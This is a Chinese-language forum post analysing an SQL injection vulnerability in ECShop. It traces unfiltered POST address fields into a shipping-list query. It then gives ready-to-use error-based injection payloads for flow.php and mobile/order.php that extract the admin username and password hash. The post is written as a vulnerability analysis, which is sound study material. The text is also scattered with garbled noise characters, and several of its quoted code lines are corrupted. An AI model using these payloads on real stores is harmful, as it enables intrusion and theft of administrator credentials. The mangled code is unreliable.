找回密码
 立即注册
查看: 2520|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
4 f& w$ x- y6 O: A; T& j1 l9 o. g+ }
+ t, S2 |0 i0 v4 y    漏洞关键文件:) S0 V) o- C+ Z. B; C+ P) v

- g4 m* h- z& u5 c1 U" J( m# W    /includes/lib_order.php9 w) u" j% {+ a* q* K3 c

2 ?! X) U2 K) c. b9 x5 U  V' q9 Y    关键函数:& [# u! Y+ D+ K8 i$ P& g( I

! s  I; C8 a6 X! I- G4 m5 [, G 6 D/ K( I, V+ Y
& s9 v+ N, d; Z4 A, e: C
01     function available_shipping_list($region_id_list)
# S; n% M6 k( P8 x
; S+ |# c  m4 v02 { - Z' c6 ]4 M( T3 I7 M0 K

0 |. e* h3 S$ o03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 1 k2 F- [* K2 n$ u  L
' r: L! d) [2 w2 _& ?
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ; ~# _" o& a$ s  b1 W+ i
9 Q- _; Y$ Y7 p  j. S& ?% E! B
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
+ D5 S. l$ r- \+ O; {3 z' I! U5 K: t. L+ a: ~
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . : }4 @2 h# C" T4 y
% H# W( m1 A- H
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ h$ q  k/ w3 o3 S) J8 Z3 d1 ]' y# }  @9 K; @3 {8 O7 X
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
0 r0 ]3 F! V/ _/ ?/ b' g) I2 W& ~0 ^: j0 o" m# l5 N
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / J7 @7 K( S. F) l/ l
. q. F! h9 O! h
10   
& M2 t% G$ M2 g; a! }, X1 Q) o; |" Q9 x* A! e. V
11     return $GLOBALS['db']->getAll($sql);
6 X' y4 l  |5 H* R
1 V# a( X& o! @8 \12 }
: _7 T! l. Y) ?4 w' G) O8 i# X- @- o1 f; d
显然对传入的参数没有任何过滤就带入了查询语句。' ?6 X# l* U/ m4 h
0 a, `6 E$ t4 e
下面我们追踪这个函数在flow.php中:
2 j, d0 Y+ H. e 第531行:   " ~$ s4 n- \1 ~' \
. S/ m' j; Z. p: o" C
1 $shipping_list     = available_shipping_list($region);
* `# G5 z1 @: @1 i. V! H" f  n' |3 f
0 S, f9 R' q, ]

( Z9 ?% J+ D& V' u; I6 v& Q - r5 c0 l2 a1 O7 z, b: r

' ]( f1 h  a' }4 O+ r# Z再对传入变量进行追踪:6 S- u1 E+ h! w/ [
+ @+ r- b, V  q4 d6 U' a
第530行:   
# P2 Q( Z6 b8 }+ F$ U) H5 D# G9 G" J% E+ ?3 G; o8 @" c7 p- c
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 3 Z5 g% D( D3 Q8 {) \

# j0 Y5 c! c* h# `( y 7 r$ c# k& i4 ]4 h& f
, R2 k2 @% o7 H
8 Q0 D1 K2 \1 B* {" n

9 p$ R2 m5 [& {) f7 H第473行:        
9 r) ^8 x% ]% `& N4 R, f& x0 Q5 g0 F( Q7 |& K6 M; O# z# p* ]' q
1 $consignee = get_consignee($_SESSION['user_id']);
* y( q+ _) u" s
. w* b; \: x$ x# ?到了一个关键函数:1 J' H: j% ?) e1 R$ f  J

" v) w) _' c! @7 q0 w3 M/includes/lib_order.php$ }, ]9 t$ {" p

- v; y) Y, s/ W 8 H9 e  Y' j5 O: J: F
, ~& p. m& h+ V4 X

& y# ^0 M) t" T$ Z  j5 p; F+ G6 b5 `/ L# [
01 function get_consignee($user_id)
; H: [8 m+ p0 k) M; e! \9 T. z* x1 I3 {. |
02 {
$ m3 i6 F4 q% z) p" `
+ I/ W4 \9 n. G% ~& P5 @  Z/ B03     if (isset($_SESSION['flow_consignee'])) " @7 L: R& }8 V

" D" y( X1 I7 g1 K9 D8 J04     { # _9 Y1 }" P2 h$ k  c' q5 N% ~

5 s; F, v+ i4 {05         /* 如果存在session,则直接返回session中的收货人信息 */
6 w8 d1 @: G8 X0 y3 q# I  g! Z# h* _' m7 J
06   % \, G+ T: h% {  g4 K# x

! d, y& S6 t5 ~07         return $_SESSION['flow_consignee']; : g) L- G: |0 e) I9 n* E1 Q; r& b
7 l: a' T6 Z; g4 {
08     } ' _6 f% x" N# J% q

3 q0 e' X5 h7 z6 w9 K( ~& J09     else
0 q& N+ A' s8 ]7 }: `% l5 t
4 u9 ~6 Q5 D3 ]. @0 l  S10     { ; W1 s6 n  C9 `# b  ]1 G; G

5 ?. @  M% ]( Z; Z11         /* 如果不存在,则取得用户的默认收货人信息 */ # u( i3 v9 z- n7 v* \
$ J9 Z' E: I( p2 i4 {' ]  ~
12         $arr = array();
: M* l6 a. _5 F* k$ B1 }
4 C- P: b8 M* ^! {: u& {3 E0 F13   " A* ~; C2 L% Y) S
1 Z! X7 e, q% `4 Z, P4 _
14         if ($user_id > 0)
$ N- E# G1 s- J- Q( [* {! W- x/ F- o' d8 P, V0 Q" e7 S0 z2 f
15         { 8 i+ f. d6 j# k5 F* K! Q6 J+ ?6 u

2 e; `# w& n. \5 W/ ~' W16             /* 取默认地址 */
- g, A  t' i! ?1 c' V# h9 |) R. E4 {
17             $sql = "SELECT ua.*". % G$ f5 f2 c4 [7 q2 D6 R  r

/ w* D3 z6 q. h8 v! C9 G" g18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! c$ _0 W* G( c9 M- r2 Q& x3 W, i: Z. n9 p: J0 r/ f8 ~, d
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; # ]) o- W9 }# J7 u6 Z

4 l5 H2 y8 O9 s' U4 X20   . i7 q. _: m2 p* c# Y, ^; C; a
; y% u5 l8 ?* S8 V
21             $arr = $GLOBALS['db']->getRow($sql);
( |6 L! n2 t  ]/ E- g) r8 w! s/ X* }) X, S4 V, k4 K
22         } ) A2 o& s. f8 I8 r$ c

/ [( m7 O8 S- p0 K23   
! I* S4 @! q" t1 I! y! Y" x) w# Z0 H# z( K
24         return $arr;
& E3 W; c9 E3 X6 k, K2 x' h' E) Z' s% Q/ }0 f
25     } ( H+ p4 ?+ D& W) s3 }% ]
  g3 i" [6 y! d' b
26 } + B7 J  }8 Q3 f7 o3 I; J

8 P; X& d: J3 h7 C显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
. X% p  i) _/ x7 V- I8 z& L% N+ z7 u" M4 m$ J8 }5 }
1 ?+ v7 V' u+ a7 g$ h1 R6 a

7 @  N8 ]2 l- i3 K+ L关键点:
% N3 w( d( g" X" ?, v% h
2 d  N; N5 f0 m6 c) D  |  w& z第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! X; b% s- m- k1 z

- t! ?9 n+ k4 V. Y7 L* W! A0 I% v/ u2 j这里对传入参数反转义存入$_SESSION中。. {4 Z8 |# c5 E0 j2 u
4 L; B3 W9 C8 ^$ K# J, n  b2 Q

, j$ e) }8 m/ S& ^0 x6 H
* x7 h/ `5 E) ]; ?7 l% a然后看下:' `$ I8 r) q) R# R* a# L5 ]
4 h# g: K, Q* \% c% p9 B, U" G

+ F$ c8 q! R3 Q5 @% _3 m. @. s* G; d5 c* M; G; L# L
   
. \1 `( L4 n- A( S7 v5 w; w' F4 w8 l% F$ A1 A# G
01 $consignee = array(
$ u; i' Z6 a7 [3 c" R5 W
( G; p. S9 y" ]5 ~+ F02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), # b+ x3 A. ~% r
, u; p2 L- v9 t6 @0 [
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 5 B# c; I+ I2 v; F$ C

1 Q2 L; V1 i9 }; d" i; c' E04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
. m. Z4 Q- F. l2 _& Z* a  b
" n! G8 o) h" Z: `( W05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 9 B3 U+ e% A7 [' d4 w' n5 r8 g2 _9 h5 [

5 g' j( c% Q1 U6 B3 V- _0 @4 l06         'city'          => empty($_POST['city'])       ? '' _POST['city'], $ m; ~& l4 X1 r$ _" ]) u

* b3 t# k' H' ~( d! l0 J07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
- B0 ?& _; U) ]* U$ B2 B; G/ u; g
, z8 u) v' ?. k. n08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
$ E: z1 H; n2 B4 U1 ^
: y; i0 ?! d* U0 F: p09         'address'       => empty($_POST['address'])    ? '' _POST['address'], " Z* c- P& @3 N* @0 J: a4 O

9 g" X. g5 {+ y10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 7 x2 Z8 h# l. C1 [$ Z1 Z, J

9 I& A, n. F, w11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), ; r# n' ~5 q3 b3 @% p/ l
& {, y& Y3 o9 ]/ `# `
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), $ P6 l' x3 k! l
  ?! y; ?. l6 v) d% t1 c
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
% v9 C, {: \9 }# J" }0 N9 ^0 w: q8 _' T0 W# |6 `8 R
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 8 _2 Y( k& b9 I9 Z

8 x( v  O# j6 k15     );
7 j. n, n8 D! V6 x7 v& X! u2 A
8 n$ p/ X9 v7 u& L好了注入就这样出现了。: z. u# m( p! `( E  z3 J, h2 K

* b5 y' p9 [7 `' E2 c1 r==================( E% e9 s+ ]/ ]3 Q' p
' m: Q' J+ o6 v" O
注入测试:- W5 o3 d  u% m0 f0 N1 S

) D) _- w/ e! J' {9 \9 [% t环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 f$ v4 A" l: ?. t
  D, b- ~- k9 a5 N测试程序:ECShop_V2.7.3_UTF8_release1106
# n6 X$ [/ a: y8 r: N5 |1 C1 h+ P7 E# ]2 l

9 k! N5 D1 E; B# M3 B$ F
; q7 o) e& f& W! i! {1.首先需要点击一个商品加入购物车
7 i3 k5 @9 i4 h/ G$ P# W! d# ]4 M, e1 r$ V) w
2.注册一个会员帐号/ H; {- @7 H% m9 K4 I& \
+ q7 ?+ x; h3 \3 W# }' R
3.post提交数据4 ~2 i4 R; J4 K; |! D

5 ^7 W& o8 Y4 ?8 w/ L* ?
' U$ l( J( p) ~$ x8 F
# l2 e+ q$ k: l' b' L2 u4 Q, e3 `1 http://127.0.0.1/ecshop/flow.php ; @: m, p8 C+ E& Z! a
% ]5 Z- @) H" J: p% U9 Z
2   
0 _& B" S' R# `/ J# J7 e
6 c" Q2 a% \" f$ t& u3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & q  C2 \8 q. x$ }4 \) ~- B7 Z
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
) S. ~1 F# U0 S+ L! A) M" k/ r% ]& J2 }5 Y* E- U6 s7 e" P
我们搜寻关键函数function available_shipping_list()/ k0 p- f9 U2 e* x) l

8 d# {5 l! C$ Y0 E4 e) X在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) S8 G( u$ S/ Z6 @% Z
1 g7 G* U1 Y+ }! l! H8 W
利用exp:
! J+ p# A8 L% b/ t& m, p) Z! U
5 B" w* b4 P/ F/ F7 q1.点击一个商品,点击购买商标
1 K+ I6 `( P7 Z/ K( c2 S+ l6 F$ O% a* v
2.登录会员帐号. o, y3 j/ r* U7 `( ~3 O
$ M+ I! W5 G$ \7 ?. k
3.post提交:
+ s+ m. a8 T3 ]- }$ o: @6 A: t7 c& c4 {# x
http://127.0.0.1/ecshop/mobile/order.php* _" ~) B8 I8 t: y
  h; {% p+ M, ], \, _
- o7 R  W# W2 d0 ?

$ ?9 |5 B, E+ A" H3 b  O3 Qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
5 k7 C" T, r1 \- \) u9 |0 O$ R
: A- z, [  ^1 E) J) B# N' i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表